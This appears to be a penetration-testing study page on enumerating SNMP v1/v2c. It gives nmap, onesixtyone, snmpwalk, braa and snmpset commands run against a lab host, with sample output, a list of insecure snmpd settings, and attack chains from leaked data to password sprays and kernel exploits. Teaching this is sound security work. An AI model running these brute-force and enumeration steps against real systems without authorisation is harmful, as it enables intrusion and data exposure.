Skip to content

SNMP

SNMP is a network-device monitoring protocol. Versions 1 and 2c authenticate with a plaintext “community string” - basically a shared password - that’s often left at the default public. When SNMPv1/v2c is exposed with a guessable community string, you get a read-out of the entire device’s state: installed packages, running processes, network config, user accounts, sometimes more.

# 1. UDP scan (SNMP is UDP, won't show on TCP scans)
sudo nmap -sU -p161 <target>
# 2. Brute-force community string
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt <target>
# 3. Walk the entire OID tree with the discovered community
snmpwalk -v2c -c public <target>
# 4. Faster brute-force walk
braa public@<target>:.1.3.6.*
# 5. Specific high-value OIDs
snmpwalk -v2c -c public <target> 1.3.6.1.2.1.25.4.2.1.2 # running processes
snmpwalk -v2c -c public <target> 1.3.6.1.2.1.25.6.3.1.2 # installed software
snmpwalk -v2c -c public <target> 1.3.6.1.4.1.77.1.2.25 # Windows users

Success indicator: snmpwalk returns OID/value pairs from the target (anything past the device basic-info OIDs). Common community string public is the highest-incidence finding.

SNMP queries devices for management information. It supports both reads (“what’s the CPU temperature?”) and writes (“set this configuration value”), plus an unsolicited “trap” channel for the device to push events to a manager.

PortPurposeTransport
UDP 161Manager → agent queries (most operator work happens here)UDP
UDP 162Agent → manager unsolicited trapsUDP

UDP-based: the protocol is connectionless, you fire requests at the device and it responds (or doesn’t). Won’t show on TCP port scans - must explicitly -sU to see it.

VersionYearAuthEncryptionState
SNMPv11988Community string (plaintext)NoneStill in deprecated deployments, primary target for guessable-community attacks
SNMPv2c1996Community string (plaintext)NoneMost common version actually deployed
SNMPv31998Username + password (HMAC)Optional (DES/AES)Best-practice modern deployment

For operator purposes: v1 and v2c are functionally equivalent - both use community strings, both transmit them in cleartext. v3 is a different beast with proper authentication and optional encryption. This page focuses on v1/v2c because they’re far more common and far more vulnerable.

TermWhat it means
MIB (Management Information Base)A text file describing the queryable objects on a device, in a tree structure
OID (Object Identifier)A specific node in the MIB tree, addressed by a dot-separated string of integers: 1.3.6.1.2.1.1.1.0
ASN.1The notation MIBs are written in

The OID tree is hierarchical:

1 iso
1.3 identified-organization
1.3.6 dod
1.3.6.1 internet
1.3.6.1.2 mgmt
1.3.6.1.2.1 mib-2
1.3.6.1.2.1.1 system
1.3.6.1.2.1.1.1.0 sysDescr (system description, full)
1.3.6.1.2.1.1.4.0 sysContact (admin contact email)
1.3.6.1.2.1.1.5.0 sysName (hostname)

You don’t need to memorize the tree. snmpwalk walks it for you; the OID registry is a searchable index.

High-value OID subtrees:

OIDContents
1.3.6.1.2.1.1System info - hostname, OS description, contact, location, uptime
1.3.6.1.2.1.2.2Network interfaces
1.3.6.1.2.1.4.20IP addresses
1.3.6.1.2.1.6.13TCP connection table
1.3.6.1.2.1.25.1Host resources - uptime, RAM, mounted filesystems
1.3.6.1.2.1.25.4.2.1Running processes
1.3.6.1.2.1.25.6.3.1.2Installed software packages
1.3.6.1.4.1.77.1.2.25(Windows) local user accounts
1.3.6.1.4.1.77.1.4.1(Windows) primary domain
1.3.6.1.4.1.77.1.2.27(Windows) shared printers

The Linux Net-SNMP daemon’s config is at /etc/snmp/snmpd.conf. Filtered to non-comments:

sysLocation Sitting on the Dock of the Bay
sysContact Me <[email protected]>
sysServices 72
master agentx
agentaddress 127.0.0.1,[::1]
view systemonly included .1.3.6.1.2.1.1
view systemonly included .1.3.6.1.2.1.25.1
rocommunity public default -V systemonly
rocommunity6 public default -V systemonly
rouser authPrivUser authpriv -V systemonly

Settings to recognize:

  • agentaddress - which interface SNMP listens on (127.0.0.1 = localhost only, 0.0.0.0 = all interfaces)
  • view definitions - subsets of the OID tree exposed to specific communities
  • rocommunity <string> - read-only access for the named community
  • rwcommunity <string> - read+write access for the named community
  • rouser / rwuser - SNMPv3 equivalents, named user instead of community

By default, Net-SNMP exposes only a narrow systemonly view (basic system info + host resources) over the public community to localhost only. Real deployments often deviate to expose more, sometimes carelessly.

SettingWhy it’s bad
agentaddress 0.0.0.0 (or udp:161 without bind-IP)Listening on all interfaces - accessible from external networks
rocommunity public (or any weak string) on a publicly accessible interfaceAnyone who guesses public reads the whole tree
rwcommunity <weak> <wide-source>Read+write access from a wide IP range - attacker can change device config
view full included .1Wide-open view definition - the community has access to everything, not just systemonly
Multiple rocommunity linesMultiple community strings, each a potential weak point
rwuser noauthSNMPv3 user with no authentication required
rocommunity public 0.0.0.0/0The classic - public accessible from anywhere

A misconfigured snmpd typically looks like this in the wild:

agentaddress 0.0.0.0
rocommunity public
view all included .1

That’s: listen on all interfaces, accept public, expose the entire OID tree. Walking it yields the entire device state.

Terminal window
sudo nmap -sU -p161 10.129.14.128
PORT STATE SERVICE
161/udp open|filtered snmp

UDP port states are tricky:

  • open|filtered - nmap can’t tell. Could be open with a silent service, could be filtered. Almost always means “try snmpwalk and see if you get a response.”
  • open - nmap got a positive UDP response back, confirming an SNMP service.
  • filtered - ICMP “port unreachable” returned, meaning a firewall is dropping.
  • closed - TCP-RST equivalent for UDP, very rare.

The --script snmp-info NSE script can probe further:

Terminal window
sudo nmap -sU -p161 --script snmp-info <target>

onesixtyone is purpose-built for this - fast, asynchronous, designed for sweeping many IPs with many community-string candidates:

Terminal window
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt 10.129.14.128
Scanning 1 hosts, 3220 communities
10.129.14.128 [public] Linux htb 5.11.0-37-generic #41~20.04.2-Ubuntu SMP ... x86_64

The [public] brackets mean that’s the community string that worked, followed by the sysDescr (default OID 1.3.6.1.2.1.1.1.0) - the device’s self-description.

The default wordlist (snmp.txt in SecLists) covers thousands of common community strings. For broader coverage, build a custom wordlist from the target’s hostname patterns. Companies often name community strings after the hostname, the location, or the device role:

public
private
community
manager
admin
<companyname>
<companyname>-snmp
<companyname>-ro
<companyname>-rw
<location>-<role> # e.g., dc1-router

Tools like crunch can generate permutation-heavy lists, but most real-world community strings are short and memorable - admins picked them by hand.

Once you have a working community string:

Terminal window
snmpwalk -v2c -c public 10.129.14.128

Output is verbose. Example excerpts:

iso.3.6.1.2.1.1.1.0 = STRING: "Linux htb 5.11.0-34-generic #36~20.04.1-Ubuntu SMP Fri Aug 27 ... x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (5134) 0:00:51.34
iso.3.6.1.2.1.1.4.0 = STRING: "[email protected]"
iso.3.6.1.2.1.1.5.0 = STRING: "htb"
iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay"
iso.3.6.1.2.1.25.1.4.0 = STRING: "BOOT_IMAGE=/boot/vmlinuz-5.11.0-34-generic root=UUID=9a6a5c52-... ro quiet splash"

What this leaks:

  • Exact kernel version (5.11.0-34-generic) and distribution (Ubuntu 20.04)
  • Admin contact email ([email protected])
  • Hostname (htb)
  • Boot command line, including UUID of the root filesystem
  • Patch level - match the kernel to known privilege-escalation exploits

Further down the walk:

iso.3.6.1.2.1.25.6.3.1.2.1232 = STRING: "printer-driver-sag-gdi_0.1-7_all"
iso.3.6.1.2.1.25.6.3.1.2.1235 = STRING: "proftpd-basic_1.3.6c-2_amd64"
iso.3.6.1.2.1.25.6.3.1.2.1239 = STRING: "pulseaudio_1:13.99.1-1ubuntu3.12_amd64"
iso.3.6.1.2.1.25.6.3.1.2.1243 = STRING: "python3_3.8.2-0ubuntu2_amd64"

That’s the full installed-package list with versions. Cross-reference against vulnerability databases for known CVEs in any package.

To narrow the walk to interesting subtrees:

Terminal window
# System info
snmpwalk -v2c -c public <target> 1.3.6.1.2.1.1
# Network interfaces
snmpwalk -v2c -c public <target> 1.3.6.1.2.1.2
# IP addresses bound to this host
snmpwalk -v2c -c public <target> 1.3.6.1.2.1.4.20
# Running processes
snmpwalk -v2c -c public <target> 1.3.6.1.2.1.25.4.2
# Installed software
snmpwalk -v2c -c public <target> 1.3.6.1.2.1.25.6.3.1.2
# Active TCP connections
snmpwalk -v2c -c public <target> 1.3.6.1.2.1.6.13
# Windows: local users
snmpwalk -v2c -c public <target> 1.3.6.1.4.1.77.1.2.25
# Windows: primary domain
snmpwalk -v2c -c public <target> 1.3.6.1.4.1.77.1.4.1
# Cisco: running config (if accessible)
snmpwalk -v2c -c public <target> 1.3.6.1.4.1.9.9.96.1.1.1.1.2

snmpwalk queries one OID at a time, walking sequentially. braa is asynchronous - fires many SNMP requests in parallel - and is dramatically faster for full-tree dumps.

Terminal window
braa [email protected]:.1.3.6.*
10.129.14.128:20ms:.1.3.6.1.2.1.1.1.0:Linux htb 5.11.0-34-generic ... x86_64
10.129.14.128:20ms:.1.3.6.1.2.1.1.2.0:.1.3.6.1.4.1.8072.3.2.10
10.129.14.128:20ms:.1.3.6.1.2.1.1.3.0:548
10.129.14.128:20ms:.1.3.6.1.2.1.1.4.0:[email protected]
10.129.14.128:20ms:.1.3.6.1.2.1.1.5.0:htb
...

Output is one-line-per-result, easy to grep:

Terminal window
braa [email protected]:.1.3.6.* | grep -i "process\|user\|password\|admin"

When rwcommunity is set, you can change device values via snmpset. This is mostly relevant for network devices (routers, switches) where SNMP-SET can:

  • Change the running config
  • Reboot the device
  • Modify routing tables
  • Disable interfaces
Terminal window
snmpset -v2c -c private <target> 1.3.6.1.2.1.1.5.0 s "owned"

This sets the hostname (sysName) to “owned” - a benign test that confirms write access without breaking anything. Do not run write operations against production gear without explicit permission; one wrong OID can take down a router.

If you find SNMPv3, brute-force is much slower (HMAC verification) but possible:

Terminal window
# Identify v3 users (engine ID enumeration is sometimes possible)
snmpwalk -v3 -u testuser -l noAuthNoPriv <target>

Most v3 deployments require both auth and priv (encryption). Without valid credentials, you don’t get further than the engine-ID response. Brute-forcing v3 with hydra is possible but slow and noisy.

Community string → installed packages → kernel exploit:

  1. onesixtyone finds public
  2. snmpwalk reveals kernel version and patch level
  3. Cross-reference for unpatched kernel exploits
  4. After gaining a foothold elsewhere, the kernel exploit gets root

Community string → user list → password spray:

  1. Walk the user-accounts OID subtree (Windows targets especially)
  2. Extracted user list goes into a password-spray against RDP/SMB
  3. Hits give shell

Community string → running processes → finger services to target:

  1. Process list shows what’s actually running
  2. Compare against open TCP ports - sometimes processes listen on internal-only interfaces
  3. Use SSRF or other paths to reach those internal services

Read community → write community guess:

  1. Once you’ve guessed public (read), try private (write) - many admins set both, just changing one letter
  2. Verify write access non-destructively
  3. Now you can modify device config - for routers/switches, that’s a serious finding
TaskCommand
UDP scansudo nmap -sU -p161 <target>
Community bruteonesixtyone -c snmp.txt <target>
Full walksnmpwalk -v2c -c public <target>
Specific OIDsnmpwalk -v2c -c public <target> 1.3.6.1.2.1.25
Fast walkbraa public@<target>:.1.3.6.*
Get one OIDsnmpget -v2c -c public <target> 1.3.6.1.2.1.1.5.0
Set one OID (rw)snmpset -v2c -c private <target> <OID> s "value"
System infoOID 1.3.6.1.2.1.1
Running processesOID 1.3.6.1.2.1.25.4.2
Installed softwareOID 1.3.6.1.2.1.25.6.3.1.2
Windows usersOID 1.3.6.1.4.1.77.1.2.25